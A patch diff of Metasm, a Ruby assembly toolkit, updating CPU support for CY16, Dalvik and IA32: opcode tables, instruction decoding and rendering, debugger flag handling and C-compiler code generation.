raise "wtf #{a.inspect}" unless @valid_args[a] or @valid_props[a] or @fields_mask[a]
|
||||
}
|
||||
@opcode_list << o
|
||||
end
|
||||
|
||||
def addop_macrocc(name, bin, *args)
|
||||
%w[z nz b ae s ns o no a be g ge l le].each_with_index { |cc, i|
|
||||
dbin = bin
|
||||
dbin |= i << 8
|
||||
addop name + cc, dbin, *args
|
||||
}
|
||||
end
|
||||
|
||||
def init_cy16
|
||||
@opcode_list = []
|
||||
@valid_args.update [:rs, :rd, :o7
|
||||
].inject({}) { |h, v| h.update v => true }
|
||||
@fields_mask.update :rs => 0x3f, :rd => 0x3f, :o7 => 0x7f, :x7 => 0x7f, :u3 => 7
|
||||
@fields_shift.update :rs => 6, :rd => 0, :o7 => 0, :x7 => 0, :u3 => 6
|
||||
|
||||
addop 'mov', 0<<12, :rs, :rd
|
||||
addop 'add', 1<<12, :rs, :rd
|
||||
addop 'adc', 2<<12, :rs, :rd
|
||||
addop 'addc',2<<12, :rs, :rd
|
||||
addop 'sub', 3<<12, :rs, :rd
|
||||
addop 'sbb', 4<<12, :rs, :rd
|
||||
addop 'subb',4<<12, :rs, :rd
|
||||
addop 'cmp', 5<<12, :rs, :rd
|
||||
addop 'and', 6<<12, :rs, :rd
|
||||
addop 'test',7<<12, :rs, :rd
|
||||
addop 'or', 8<<12, :rs, :rd
|
||||
addop 'xor', 9<<12, :rs, :rd
|
||||
|
||||
addop_macrocc 'int', (10<<12), :x7
|
||||
addop 'int', (10<<12) | (15<<8), :x7
|
||||
addop_macrocc 'c', (10<<12) | (1<<7), :setip, :saveip, :rd
|
||||
addop 'call',(10<<12) | (15<<8) | (1<<7), :setip, :stopexec, :saveip, :rd
|
||||
addop_macrocc 'r', (12<<12) | (1<<7) | 0b010111, :setip # must come before absolute jmp
|
||||
addop 'ret', (12<<12) | (15<<8) | (1<<7) | 0b010111, :setip, :stopexec
|
||||
addop_macrocc 'j', (12<<12), :setip, :o7 # relative
|
||||
addop 'jmp', (12<<12) | (15<<8), :setip, :stopexec, :o7 # relative
|
||||
addop_macrocc 'j', (12<<12) | (1<<7), :setip, :rd # absolute
|
||||
addop 'jmp', (12<<12) | (15<<8) | (1<<7), :setip, :stopexec, :rd # absolute
|
||||
|
||||
addop 'shr', (13<<12) | (0<<9), :u3, :rd
|
||||
addop 'shl', (13<<12) | (1<<9), :u3, :rd
|
||||
addop 'ror', (13<<12) | (2<<9), :u3, :rd
|
||||
addop 'rol', (13<<12) | (3<<9), :u3, :rd
|
||||
addop 'addi',(13<<12) | (4<<9), :u3, :rd
|
||||
addop 'subi',(13<<12) | (5<<9), :u3, :rd
|
||||
addop 'not', (13<<12) | (7<<9) | (0<<6), :rd
|
||||
addop 'neg', (13<<12) | (7<<9) | (1<<6), :rd
|
||||
addop 'cbw', (13<<12) | (7<<9) | (4<<6), :rd
|
||||
addop 'sti', (13<<12) | (7<<9) | (7<<6) | 0
|
||||
addop 'cli', (13<<12) | (7<<9) | (7<<6) | 1
|
||||
addop 'stc', (13<<12) | (7<<9) | (7<<6) | 2
|
||||
addop 'clc', (13<<12) | (7<<9) | (7<<6) | 3
|
||||
end
|
||||
|
||||
alias init_latest init_cy16
|
||||
end
|
||||
end
|
|
@ -0,0 +1,41 @@
|
|||
# This file is part of Metasm, the Ruby assembly manipulation suite
|
||||
# Copyright (C) 2006-2009 Yoann GUILLOT
|
||||
#
|
||||
# Licence is LGPL, see LICENCE in the top-level directory
|
||||
|
||||
|
||||
require 'metasm/cpu/cy16/opcodes'
|
||||
require 'metasm/render'
|
||||
|
||||
module Metasm
|
||||
class CY16
|
||||
class Reg
|
||||
include Renderable
|
||||
def render ; [self.class.i_to_s[@i]] end
|
||||
end
|
||||
class Memref
|
||||
include Renderable
|
||||
def render
|
||||
r = []
|
||||
r << (@sz == 1 ? 'byte ptr ' : 'word ptr ')
|
||||
r << '['
|
||||
r << @base if @base
|
||||
r << '++' if @autoincr
|
||||
r << ' + ' if @base and @offset
|
||||
r << @offset if @offset
|
||||
r << ']'
|
||||
end
|
||||
end
|
||||
|
||||
def render_instruction(i)
|
||||
r = []
|
||||
r << i.opname
|
||||
if not i.args.empty?
|
||||
r << ' '
|
||||
i.args.each { |a_| r << a_ << ', ' }
|
||||
r.pop
|
||||
end
|
||||
r
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,11 @@
|
|||
# This file is part of Metasm, the Ruby assembly manipulation suite
|
||||
# Copyright (C) 2006-2009 Yoann GUILLOT
|
||||
#
|
||||
# Licence is LGPL, see LICENCE in the top-level directory
|
||||
|
||||
|
||||
class Metasm::Dalvik < Metasm::CPU
|
||||
end
|
||||
|
||||
require 'metasm/main'
|
||||
require 'metasm/cpu/dalvik/decode'
|
|
@ -3,7 +3,7 @@
|
|||
#
|
||||
# Licence is LGPL, see LICENCE in the top-level directory
|
||||
|
||||
require 'metasm/dalvik/opcodes'
|
||||
require 'metasm/cpu/dalvik/opcodes'
|
||||
require 'metasm/decode'
|
||||
|
||||
module Metasm
|
||||
|
@ -12,7 +12,7 @@ class Dalvik
|
|||
end
|
||||
|
||||
def decode_findopcode(edata)
|
||||
return if edata.ptr >= edata.data.length
|
||||
return if edata.ptr+2 > edata.length
|
||||
di = DecodedInstruction.new(self)
|
||||
di.opcode = opcode_list[edata.decode_imm(:u16, @endianness) & 0xff]
|
||||
edata.ptr -= 2
|
||||
|
@ -22,7 +22,7 @@ class Dalvik
|
|||
def decode_instr_op(edata, di)
|
||||
op = di.opcode
|
||||
di.instruction.opname = op.name
|
||||
|
||||
|
||||
val = [edata.decode_imm(:u16, @endianness)]
|
||||
|
||||
op.args.each { |a|
|
||||
|
@ -80,7 +80,7 @@ class Dalvik
|
|||
Expression[Expression.make_signed((val[1] >> 8) & 0xff, 8)]
|
||||
when :rlist4, :rlist5
|
||||
cnt = (val[0] >> 12) & 0xf
|
||||
val << edata.decode_imm(:u16, @endianness)
|
||||
val << edata.decode_imm(:u16, @endianness)
|
||||
[cnt, 4].min.times {
|
||||
di.instruction.args << Reg.new(val[-1] & 0xf)
|
||||
val[-1] >>= 4
|
||||
|
@ -96,20 +96,40 @@ class Dalvik
|
|||
next
|
||||
when :m16
|
||||
val << edata.decode_imm(:u16, @endianness)
|
||||
Method.new(@dex, val.last)
|
||||
DexMethod.new(@dex, val.last)
|
||||
when :fld16
|
||||
val << edata.decode_imm(:u16, @endianness)
|
||||
DexField.new(@dex, val.last)
|
||||
when :typ16
|
||||
val << edata.decode_imm(:u16, @endianness)
|
||||
DexType.new(@dex, val.last)
|
||||
when :str16
|
||||
val << edata.decode_imm(:u16, @endianness)
|
||||
DexString.new(@dex, val.last)
|
||||
else raise SyntaxError, "Internal error: invalid argument #{a} in #{op.name}"
|
||||
end
|
||||
}
|
||||
|
||||
di.bin_length = val.length*2
|
||||
|
||||
return if edata.ptr > edata.length
|
||||
|
||||
di
|
||||
end
|
||||
|
||||
def decode_instr_interpret(di, addr)
|
||||
if di.opcode.props[:setip] and di.instruction.args.last.kind_of? Expression and di.instruction.opname =~ /^if|^goto/
|
||||
arg = Expression[addr, :+, [di.instruction.args.last, :*, 2]].reduce
|
||||
di.instruction.args[-1] = Expression[arg]
|
||||
end
|
||||
|
||||
di
|
||||
end
|
||||
|
||||
def backtrace_binding
|
||||
@backtrace_binding ||= init_backtrace_binding
|
||||
end
|
||||
|
||||
|
||||
def init_backtrace_binding
|
||||
@backtrace_binding ||= {}
|
||||
sz = @size/8
|
||||
|
@ -117,12 +137,12 @@ class Dalvik
|
|||
case op.name
|
||||
when /invoke/
|
||||
@backtrace_binding[op.name] = lambda { |di, *args| {
|
||||
:callstack => Expression[:callstack, :-, sz],
|
||||
:callstack => Expression[:callstack, :-, sz],
|
||||
Indirection[:callstack, sz] => Expression[di.next_addr]
|
||||
} }
|
||||
when /return/
|
||||
@backtrace_binding[op.name] = lambda { |di, *args| {
|
||||
:callstack => Expression[:callstack, :+, sz]
|
||||
:callstack => Expression[:callstack, :+, sz]
|
||||
} }
|
||||
end
|
||||
}
|
||||
|
@ -136,9 +156,9 @@ class Dalvik
|
|||
else arg
|
||||
end
|
||||
}
|
||||
|
||||
|
||||
if binding = backtrace_binding[di.opcode.name]
|
||||
bd = binding[di, *a]
|
||||
binding[di, *a]
|
||||
else
|
||||
puts "unhandled instruction to backtrace: #{di}" if $VERBOSE
|
||||
# assume nothing except the 1st arg is modified
|
||||
|
@ -150,20 +170,22 @@ class Dalvik
|
|||
end
|
||||
|
||||
end
|
||||
|
||||
|
||||
def get_xrefs_x(dasm, di)
|
||||
if di.opcode.props[:saveip]
|
||||
m = di.instruction.args.first
|
||||
if m.kind_of? Method and m.off
|
||||
if m.kind_of?(DexMethod) and m.off
|
||||
[m.off]
|
||||
else
|
||||
[:default]
|
||||
end
|
||||
elsif di.opcode.props[:setip]
|
||||
if di.opcode.name =~ /return/
|
||||
if di.opcode.name =~ /^return/
|
||||
[Indirection[:callstack, @size/8]]
|
||||
elsif di.opcode.name =~ /^if|^goto/
|
||||
[di.instruction.args.last]
|
||||
else
|
||||
[] # [di.instruction.args.last]
|
||||
[] # [di.instruction.args.last]
|
||||
end
|
||||
else
|
||||
[]
|
|
@ -23,13 +23,14 @@ class Dalvik < CPU
|
|||
end
|
||||
end
|
||||
|
||||
class Method
|
||||
class DexMethod
|
||||
attr_accessor :dex, :midx, :off
|
||||
def initialize(dex, midx)
|
||||
@dex = dex
|
||||
@midx = midx
|
||||
if @dex and m = @dex.methods[midx] and c = @dex.classes[m.classidx] and c.data and
|
||||
me = (c.data.direct_methods+c.data.virtual_methods).find { |mm| mm.method == m }
|
||||
me = (c.data.direct_methods+c.data.virtual_methods).find { |mm| mm.methodid == midx }
|
||||
# FIXME this doesnt work
|
||||
@off = me.codeoff + me.code.insns_off
|
||||
end
|
||||
end
|
||||
|
@ -44,6 +45,54 @@ class Dalvik < CPU
|
|||
end
|
||||
end
|
||||
|
||||
class DexField
|
||||
attr_accessor :dex, :fidx
|
||||
def initialize(dex, fidx)
|
||||
@dex = dex
|
||||
@fidx = fidx
|
||||
end
|
||||
|
||||
def to_s
|
||||
if @dex and f = @dex.fields[@fidx]
|
||||
@dex.types[f.classidx] + '->' + @dex.strings[f.nameidx]
|
||||
else
|
||||
"field_#@fidx"
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
class DexType
|
||||
attr_accessor :dex, :tidx
|
||||
def initialize(dex, tidx)
|
||||
@dex = dex
|
||||
@tidx = tidx
|
||||
end
|
||||
|
||||
def to_s
|
||||
if @dex and f = @dex.types[@tidx]
|
||||
f
|
||||
else
|
||||
"type_#@tidx"
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
class DexString
|
||||
attr_accessor :dex, :sidx
|
||||
def initialize(dex, sidx)
|
||||
@dex = dex
|
||||
@sidx = sidx
|
||||
end
|
||||
|
||||
def to_s
|
||||
if @dex and f = @dex.strings[@sidx]
|
||||
f.inspect
|
||||
else
|
||||
"string_#@sidx"
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def initialize(*args)
|
||||
super()
|
||||
@size = args.grep(Integer).first || 32
|
|
@ -11,7 +11,7 @@
|
|||
# the opcode number is in the low-order byte, and determines the
|
||||
# argument format, which may take up to 4 other words
|
||||
|
||||
require 'metasm/dalvik/main'
|
||||
require 'metasm/cpu/dalvik/main'
|
||||
|
||||
module Metasm
|
||||
class Dalvik
|
||||
|
@ -61,9 +61,11 @@ invoke_virtual_quick invoke_virtual_quick_range invoke_super_quick invoke_super_
|
|||
unused_fc unused_fd unused_fe unused_ff]
|
||||
|
||||
def init_dalvik
|
||||
@valid_props << :canthrow
|
||||
@valid_args = [:i16, :i16_32hi, :i16_64hi, :i32, :iaa, :ib, :icc, :u16, :u32, :u64,
|
||||
:r16, :ra, :raa, :rb, :rbb, :rcc, :rlist16, :rlist4, :rlist5, :m16]
|
||||
@valid_props[:canthrow] = true
|
||||
[:i16, :i16_32hi, :i16_64hi, :i32, :iaa, :ib, :icc, :u16, :u32, :u64,
|
||||
:r16, :ra, :raa, :rb, :rbb, :rcc, :rlist16, :rlist4, :rlist5,
|
||||
:m16, :fld16, :typ16, :str16
|
||||
].each { |a| @valid_args[a] = true }
|
||||
@opcode_list = []
|
||||
|
||||
OPCODES.each_with_index { |n, b|
|
||||
|
@ -80,7 +82,7 @@ unused_fc unused_fd unused_fe unused_ff]
|
|||
def addop_args(op)
|
||||
fmt = case op.name
|
||||
when 'goto'
|
||||
:fmt10t
|
||||
:fmt10t
|
||||
when 'nop', 'return_void'
|
||||
:fmt10x
|
||||
when 'const_4'
|
||||
|
@ -119,12 +121,16 @@ unused_fc unused_fd unused_fe unused_ff]
|
|||
:fmt20t
|
||||
when 'goto_32'
|
||||
:fmt30t
|
||||
when 'const_string', 'const_class', 'check_cast',
|
||||
'new_instance', 'sget', 'sget_wide', 'sget_object',
|
||||
when 'const_string'
|
||||
:fmt21c_str
|
||||
when 'const_class', 'check_cast',
|
||||
'new_instance'
|
||||
:fmt21c_typ
|
||||
when 'sget', 'sget_wide', 'sget_object',
|
||||
'sget_boolean', 'sget_byte', 'sget_char', 'sget_short',
|
||||
'sput', 'sput_wide', 'sput_object', 'sput_boolean',
|
||||
'sput_byte', 'sput_char', 'sput_short'
|
||||
:fmt21c
|
||||
:fmt21c_fld
|
||||
when 'const_16', 'const_wide_16'
|
||||
:fmt21s
|
||||
when 'if_eqz', 'if_nez', 'if_ltz', 'if_gez', 'if_gtz', 'if_lez'
|
||||
|
@ -214,7 +220,9 @@ unused_fc unused_fd unused_fe unused_ff]
|
|||
when :fmt10t; op.args << :iaa
|
||||
when :fmt20t; op.args << :i16
|
||||
when :fmt20bc; op.args << :iaa << :u16
|
||||
when :fmt21c; op.args << :raa << :u16
|
||||
when :fmt21c_str; op.args << :raa << :str16
|
||||
when :fmt21c_typ; op.args << :raa << :typ16
|
||||
when :fmt21c_fld; op.args << :raa << :fld16
|
||||
when :fmt22x; op.args << :raa << :r16
|
||||
when :fmt21s, :fmt21t; op.args << :raa << :i16
|
||||
when :fmt21h; op.args << :raa << :i16_32hi
|
||||
|
@ -222,7 +230,7 @@ unused_fc unused_fd unused_fe unused_ff]
|
|||
when :fmt23x; op.args << :raa << :rbb << :rcc
|
||||
when :fmt22b; op.args << :raa << :rbb << :icc
|
||||
when :fmt22s, :fmt22t; op.args << :ra << :rb << :i16
|
||||
when :fmt22c, :fmt22cs; op.args << :ra << :rb << :u16
|
||||
when :fmt22c, :fmt22cs; op.args << :ra << :rb << :fld16
|
||||
when :fmt30t; op.args << :i32
|
||||
when :fmt31t, :fmt31c; op.args << :raa << :u32
|
||||
when :fmt32x; op.args << :r16 << :r16
|
||||
|
@ -238,7 +246,7 @@ unused_fc unused_fd unused_fe unused_ff]
|
|||
when :fmt3inline
|
||||
op.args << :r16 << :rlist4
|
||||
when :fmt3rc, :fmt3rms
|
||||
# rlist = :r16, :r16+1, :r16+2, ..., :r16+:iaa-1
|
||||
# rlist = :r16, :r16+1, :r16+2, ..., :r16+:iaa-1
|
||||
op.args << :r16 << :rlist16
|
||||
when :fmt51l
|
||||
# u64 = u16 | (u16 << 16) | ...
|
|
@ -0,0 +1,17 @@
|
|||
# This file is part of Metasm, the Ruby assembly manipulation suite
|
||||
# Copyright (C) 2006-2009 Yoann GUILLOT
|
||||
#
|
||||
# Licence is LGPL, see LICENCE in the top-level directory
|
||||
|
||||
# fix autorequire warning
|
||||
class Metasm::Ia32 < Metasm::CPU
|
||||
end
|
||||
|
||||
require 'metasm/main'
|
||||
require 'metasm/cpu/ia32/parse'
|
||||
require 'metasm/cpu/ia32/encode'
|
||||
require 'metasm/cpu/ia32/decode'
|
||||
require 'metasm/cpu/ia32/render'
|
||||
require 'metasm/cpu/ia32/compile_c'
|
||||
require 'metasm/cpu/ia32/decompile'
|
||||
require 'metasm/cpu/ia32/debug'
|
|
@ -4,7 +4,7 @@
|
|||
# Licence is LGPL, see LICENCE in the top-level directory
|
||||
|
||||
|
||||
require 'metasm/ia32/parse'
|
||||
require 'metasm/cpu/ia32/parse'
|
||||
require 'metasm/compile_c'
|
||||
|
||||
module Metasm
|
||||
|
@ -505,8 +505,8 @@ class CCompiler < C::Compiler
|
|||
if r.sz == 64
|
||||
get_composite_parts(r).reverse_each { |rp| instr 'push', rp }
|
||||
else
|
||||
instr 'push', r
|
||||
end
|
||||
instr 'push', r
|
||||
end
|
||||
end
|
||||
when Composite
|
||||
instr 'push', r.high
|
||||
|
@ -527,7 +527,7 @@ class CCompiler < C::Compiler
|
|||
if expr.rexpr.type.specifier == :unsigned and r.sz == 64
|
||||
label = new_label('unsign_float')
|
||||
if m.sz == 64 and @cpusz < 64
|
||||
foo, m = get_composite_parts m
|
||||
m = get_composite_parts(m)[1]
|
||||
end
|
||||
m2 = m
|
||||
m2 = make_volatile(m, expr.rexpr.type) if m.kind_of? ModRM
|
||||
|
@ -637,7 +637,7 @@ class CCompiler < C::Compiler
|
|||
# both sides are already cast to the same type by the precompiler
|
||||
# XXX expr.type.pointer?
|
||||
if expr.type.integral? and expr.type.name == :ptr and expr.lexpr.type.kind_of? C::BaseType and
|
||||
typesize[expr.lexpr.type.name] == typesize[:ptr]
|
||||
typesize[expr.lexpr.type.name] == typesize[:ptr]
|
||||
expr.lexpr.type.name = :ptr
|
||||
end
|
||||
l = c_cexpr_inner(expr.lexpr)
|
||||
|
@ -711,6 +711,7 @@ class CCompiler < C::Compiler
|
|||
end
|
||||
when :-
|
||||
r = c_cexpr_inner(expr.rexpr)
|
||||
r = resolve_address r if r.kind_of? Address
|
||||
if r.kind_of? Expression
|
||||
unuse l, r
|
||||
l = Address.new(l.modrm.dup)
|
||||
|
@ -1077,6 +1078,7 @@ class CCompiler < C::Compiler
|
|||
when 'add', 'sub', 'and', 'or', 'xor'
|
||||
r = make_volatile(r, type) if l.kind_of? ModRM and r.kind_of? ModRM
|
||||
unuse r
|
||||
r = Reg.new(r.val, l.sz) if r.kind_of?(Reg) and l.kind_of?(ModRM) and l.sz and l.sz != r.sz # add byte ptr [eax], bl
|
||||
instr op, l, r
|
||||
when 'shr', 'sar', 'shl'
|
||||
if r.kind_of? Expression
|
||||
|
@ -1249,7 +1251,7 @@ class CCompiler < C::Compiler
|
|||
|
||||
instr 'xchg', ecx, Reg.new(r.val, 32) if r.val != 1
|
||||
unuse ecx
|
||||
unuse r
|
||||
unuse r
|
||||
end
|
||||
when 'mul'
|
||||
# high = (low1*high2) + (high1*low2) + (low1*low2).high
|
||||
|
@ -1377,7 +1379,7 @@ class CCompiler < C::Compiler
|
|||
instr 'mov', Reg.new(0, 32), r.low if r.low.val != 0
|
||||
end
|
||||
when Reg
|
||||
instr 'mov', Reg.new(0, r.sz), r if r.val != 0
|
||||
instr 'mov', Reg.new(0, r.sz), r if r.val != 0
|
||||
when FpReg
|
||||
instr 'fld', FpReg.new(r.val) if r.val and r.val != 0
|
||||
end
|
||||
|
@ -1475,17 +1477,17 @@ class CCompiler < C::Compiler
|
|||
end
|
||||
f = @state.func
|
||||
if f.has_attribute('stdcall') or f.has_attribute('fastcall')
|
||||
al = typesize[:ptr]
|
||||
al = typesize[:ptr]
|
||||
fa = f.type.args.dup
|
||||
2.times { fa.shift } if f.has_attribute('fastcall')
|
||||
argsz = fa.inject(0) { |sum, a|
|
||||
(a.has_attribute_var('register') or a.type.has_attribute_var('register')) ? sum : sum + (sizeof(a) + al - 1) / al * al
|
||||
}
|
||||
if argsz > 0
|
||||
instr 'ret', Expression[argsz]
|
||||
else
|
||||
instr 'ret'
|
||||
end
|
||||
instr 'ret', Expression[argsz]
|
||||
else
|
||||
instr 'ret'
|
||||
end
|
||||
else
|
||||
instr 'ret'
|
||||
end
|
||||
|
@ -1509,10 +1511,6 @@ class CCompiler < C::Compiler
|
|||
#File.open('m-dbg-precomp.c', 'w') { |fd| fd.puts @parser }
|
||||
#File.open('m-dbg-src.asm', 'w') { |fd| fd.puts @source }
|
||||
end
|
||||
|
||||
def check_reserved_name(var)
|
||||
Reg.s_to_i[var.name]
|
||||
end
|
||||
end
|
||||
|
||||
def new_ccompiler(parser, exe=ExeFormat.new)
|
|
@ -4,7 +4,7 @@
|
|||
# Licence is LGPL, see LICENCE in the top-level directory
|
||||
|
||||
|
||||
require 'metasm/ia32/opcodes'
|
||||
require 'metasm/cpu/ia32/opcodes'
|
||||
|
||||
module Metasm
|
||||
class Ia32
|
||||
|
@ -18,7 +18,7 @@ class Ia32
|
|||
@dbg_register_flags ||= :eflags
|
||||
end
|
||||
|
||||
def dbg_register_list
|
||||
def dbg_register_list
|
||||
@dbg_register_list ||= [:eax, :ebx, :ecx, :edx, :esi, :edi, :ebp, :esp, :eip]
|
||||
end
|
||||
|
||||
|
@ -46,10 +46,10 @@ class Ia32
|
|||
end
|
||||
|
||||
def dbg_enable_singlestep(dbg)
|
||||
dbg_set_flag(dbg, :t)
|
||||
dbg_set_flag(dbg, :t) if dbg_get_flag(dbg, :t) == 0
|
||||
end
|
||||
def dbg_disable_singlestep(dbg)
|
||||
dbg_unset_flag(dbg, :t)
|
||||
dbg_unset_flag(dbg, :t) if dbg_get_flag(dbg, :t) != 0
|
||||
end
|
||||
|
||||
def dbg_enable_bp(dbg, bp)
|
||||
|
@ -113,20 +113,20 @@ class Ia32
|
|||
if dbg[:dr6] == 0 and dbg[:dr7] == 0
|
||||
dbg[:dr7] = 0x10000 # some OS (eg Windows) only return dr6 if dr7 != 0
|
||||
end
|
||||
dbg[:dr6] = 0
|
||||
dbg[:dr6] = 0 if dbg[:dr6] & 0x400f != 0
|
||||
end
|
||||
|
||||
def dbg_evt_bpx(dbg, b)
|
||||
if b.address == dbg.pc-1
|
||||
dbg.pc -= 1
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def dbg_find_bpx(dbg)
|
||||
return if dbg[:dr6] & 0x4000 != 0
|
||||
pc = dbg.pc
|
||||
dbg.breakpoint[pc-1] || dbg.breakpoint[pc]
|
||||
end
|
||||
end
|
||||
|
||||
def dbg_find_hwbp(dbg)
|
||||
dr6 = dbg[:dr6]
|
|
@ -4,13 +4,13 @@
|
|||
# Licence is LGPL, see LICENCE in the top-level directory
|
||||
|
||||
|
||||
require 'metasm/ia32/opcodes'
|
||||
require 'metasm/cpu/ia32/opcodes'
|
||||
require 'metasm/decode'
|
||||
|
||||
module Metasm
|
||||
class Ia32
|
||||
class ModRM
|
||||
def self.decode(edata, byte, endianness, adsz, opsz, seg=nil, regclass=Reg)
|
||||
def self.decode(edata, byte, endianness, adsz, opsz, seg=nil, regclass=Reg, h = {})
|
||||
m = (byte >> 6) & 3
|
||||
rm = byte & 7
|
||||
|
||||
|
@ -28,7 +28,11 @@ class Ia32
|
|||
b = Reg.new(a, adsz)
|
||||
else
|
||||
s = 1
|
||||
i = Reg.new(a, adsz)
|
||||
if h[:mrmvex]
|
||||
i = SimdReg.new(a, h[:mrmvex])
|
||||
else
|
||||
i = Reg.new(a, adsz)
|
||||
end
|
||||
end
|
||||
|
||||
when :sib
|
||||
|
@ -37,7 +41,11 @@ class Ia32
|
|||
ii = ((sib >> 3) & 7)
|
||||
if ii != 4
|
||||
s = 1 << ((sib >> 6) & 3)
|
||||
i = Reg.new(ii, adsz)
|
||||
if h[:mrmvex]
|
||||
i = SimdReg.new(ii, h[:mrmvex])
|
||||
else
|
||||
i = Reg.new(ii, adsz)
|
||||
end
|
||||
end
|
||||
|
||||
bb = sib & 7
|
||||
|
@ -52,11 +60,12 @@ class Ia32
|
|||
end
|
||||
}
|
||||
|
||||
if imm and imm.reduce.kind_of? Integer and imm.reduce < -0x10_0000
|
||||
if imm and ir = imm.reduce and ir.kind_of?(Integer) and ir < 0 and (ir < -0x10_0000 or (!b and !i))
|
||||
# probably a base address -> unsigned
|
||||
imm = Expression[imm.reduce & ((1 << (adsz || 32)) - 1)]
|
||||
end
|
||||
|
||||
opsz = h[:argsz] if h[:argsz]
|
||||
new adsz, opsz, s, i, b, imm, seg
|
||||
end
|
||||
end
|
||||
|
@ -90,18 +99,19 @@ class Ia32
|
|||
msk = op.bin_mask[0]
|
||||
|
||||
for i in b..(b | (255^msk))
|
||||
next if i & msk != b & msk
|
||||
lookaside[i] << op
|
||||
lookaside[i] << op if i & msk == b & msk
|
||||
end
|
||||
}
|
||||
lookaside
|
||||
end
|
||||
|
||||
def decode_prefix(instr, byte)
|
||||
# XXX check multiple occurences ?
|
||||
instr.prefix ||= {}
|
||||
(instr.prefix[:list] ||= []) << byte
|
||||
|
||||
# XXX actual limit = 15-instr.length
|
||||
return false if instr.prefix[:list].length >= 15
|
||||
|
||||
case byte
|
||||
when 0x66; instr.prefix[:opsz] = true
|
||||
when 0x67; instr.prefix[:adsz] = true
|
||||
|
@ -115,8 +125,6 @@ class Ia32
|
|||
v = byte & 7
|
||||
end
|
||||
instr.prefix[:seg] = SegReg.new(v)
|
||||
|
||||
instr.prefix[:jmphint] = ((byte & 0x10) == 0x10)
|
||||
else
|
||||
return false
|
||||
end
|
||||
|
@ -131,11 +139,10 @@ class Ia32
|
|||
while edata.ptr < edata.data.length
|
||||
pfx = di.instruction.prefix || {}
|
||||
byte = edata.data[edata.ptr]
|
||||
byte = byte.unpack('C').first if byte.kind_of? ::String # 1.9
|
||||
byte = byte.unpack('C').first if byte.kind_of?(::String)
|
||||
return di if di.opcode = @bin_lookaside[byte].find { |op|
|
||||
# fetch the relevant bytes from edata
|
||||
bseq = edata.data[edata.ptr, op.bin.length].unpack('C*')
|
||||
di.opcode = op if op.props[:opsz] # needed by opsz(di)
|
||||
|
||||
# check against full opcode mask
|
||||
op.bin.zip(bseq, op.bin_mask).all? { |b1, b2, m| b2 and ((b1 & m) == (b2 & m)) } and
|
||||
|
@ -145,12 +152,17 @@ class Ia32
|
|||
(fld = op.fields[:seg2A] and (bseq[fld[0]] >> fld[1]) & @fields_mask[:seg2A] == 1) or
|
||||
(fld = op.fields[:seg3A] and (bseq[fld[0]] >> fld[1]) & @fields_mask[:seg3A] < 4) or
|
||||
(fld = op.fields[:seg3A] || op.fields[:seg3] and (bseq[fld[0]] >> fld[1]) & @fields_mask[:seg3] > 5) or
|
||||
(fld = op.fields[:modrmA] and (bseq[fld[0]] >> fld[1]) & 0xC0 == 0xC0) or
|
||||
(sz = op.props[:opsz] and opsz(di) != sz) or
|
||||
(op.props[:modrmA] and fld = op.fields[:modrm] and (bseq[fld[0]] >> fld[1]) & 0xC0 == 0xC0) or
|
||||
(op.props[:modrmR] and fld = op.fields[:modrm] and (bseq[fld[0]] >> fld[1]) & 0xC0 != 0xC0) or
|
||||
(fld = op.fields[:vex_vvvv] and @size != 64 and (bseq[fld[0]] >> fld[1]) & @fields_mask[:vex_vvvv] < 8) or
|
||||
(sz = op.props[:opsz] and opsz(di, op) != sz) or
|
||||
(sz = op.props[:adsz] and adsz(di, op) != sz) or
|
||||
(ndpfx = op.props[:needpfx] and not pfx[:list].to_a.include? ndpfx) or
|
||||
(pfx[:adsz] and op.props[:adsz] and op.props[:adsz] == @size) or
|
||||
# return non-ambiguous opcode (eg push.i16 in 32bit mode) / sync with addop_post in opcode.rb
|
||||
(pfx[:opsz] and (op.args == [:i] or op.args == [:farptr] or op.name[0, 3] == 'ret') and not op.props[:opsz]) or
|
||||
(pfx[:adsz] and op.props[:adsz] and op.props[:adsz] == @size)
|
||||
(pfx[:opsz] and not op.props[:opsz] and (op.args == [:i] or op.args == [:farptr] or op.name == 'ret')) or
|
||||
(pfx[:adsz] and not op.props[:adsz] and (op.props[:strop] or op.props[:stropz] or op.args.include?(:mrm_imm) or op.args.include?(:modrm) or op.name =~ /loop|xlat/)) or
|
||||
(op.name == 'nop' and op.bin[0] == 0x90 and di.instruction.prefix and di.instruction.prefix[:rex_b])
|
||||
)
|
||||
}
|
||||
|
||||
|
@ -172,39 +184,50 @@ class Ia32
|
|||
when 0xF2, 0xF3; pfx.delete :rep
|
||||
end
|
||||
|
||||
if op.props[:setip] and not op.props[:stopexec] and pfx[:seg]
|
||||
case pfx.delete(:seg).val
|
||||
when 1; pfx[:jmphint] = 'hintnojmp'
|
||||
when 3; pfx[:jmphint] = 'hintjmp'
|
||||
end
|
||||
end
|
||||
|
||||
field_val = lambda { |f|
|
||||
if fld = op.fields[f]
|
||||
(bseq[fld[0]] >> fld[1]) & @fields_mask[f]
|
||||
end
|
||||
}
|
||||
|
||||
opsz = opsz(di)
|
||||
opsz = op.props[:argsz] || opsz(di)
|
||||
adsz = (pfx[:adsz] ? 48 - @size : @size)
|
||||
|
||||
if pfx[:adsz]
|
||||
adsz = 48 - @size
|
||||
else
|
||||
adsz = @size
|
||||
end
|
||||
|
||||
mmxsz = ((op.props[:xmmx] && pfx[:opsz]) ? 128 : 64)
|
||||
mmxsz = ((op.props[:xmmx] && pfx[:opsz]) ? 128 : 64)
|
||||
op.args.each { |a|
|
||||
di.instruction.args << case a
|
||||
when :reg; Reg.new field_val[a], opsz
|
||||
when :eeec; CtrlReg.new field_val[a]
|
||||
when :eeed; DbgReg.new field_val[a]
|
||||
when :eeet; TstReg.new field_val[a]
|
||||
when :seg2, :seg2A, :seg3, :seg3A; SegReg.new field_val[a]
|
||||
when :regfp; FpReg.new field_val[a]
|
||||
when :regmmx; SimdReg.new field_val[a], mmxsz
|
||||
when :regxmm; SimdReg.new field_val[a], 128
|
||||
when :regymm; SimdReg.new field_val[a], 256
|
||||
|
||||
when :farptr; Farptr.decode edata, @endianness, opsz
|
||||
when :i8, :u8, :u16; Expression[edata.decode_imm(a, @endianness)]
|
||||
when :i; Expression[edata.decode_imm("#{op.props[:unsigned_imm] ? 'a' : 'i'}#{opsz}".to_sym, @endianness)]
|
||||
|
||||
